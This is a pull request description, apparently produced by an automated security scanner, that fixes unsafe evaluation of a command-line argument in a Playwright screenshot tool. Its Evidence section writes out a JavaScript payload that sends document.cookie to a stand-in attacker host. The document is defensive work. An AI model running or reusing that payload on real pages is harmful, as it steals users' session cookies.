fix: remove unsafe eval() in shot.mjs

[anupamme]

Summary

Fix high severity security issue in tools/shot.mjs.

Vulnerability

Field	Value
ID	V-001
Severity	HIGH
Scanner	multi_agent_ai
Rule	V-001
File	tools/shot.mjs:4
Assessment	Likely exploitable

Description: The development tool tools/shot.mjs accepts a command-line argument extra and passes it directly to pg.evaluate() without validation. This allows execution of arbitrary JavaScript code within the Playwright browser context, enabling code injection attacks.

Evidence

Exploitation scenario: An attacker with access to execute the tool can provide malicious JavaScript as the extra argument: node tools/shot.mjs output.png 4000 "fetch('https://evil.com/steal?cookie='+document.cookie)".

Scanner confirmation: multi_agent_ai rule V-001 flagged this pattern.

Threat Model Context

This is a Node.js library - vulnerabilities affect downstream consumers who use this package.

Changes

• tools/shot.mjs

Behavior Preservation

The change is scoped to 1 file on the vulnerable path, and the project's existing tests still pass, so intended behavior is unchanged.

Verification

• Build passes
• Scanner re-scan confirms fix
• LLM code review passed

---

Automated security fix by OrbisAI Security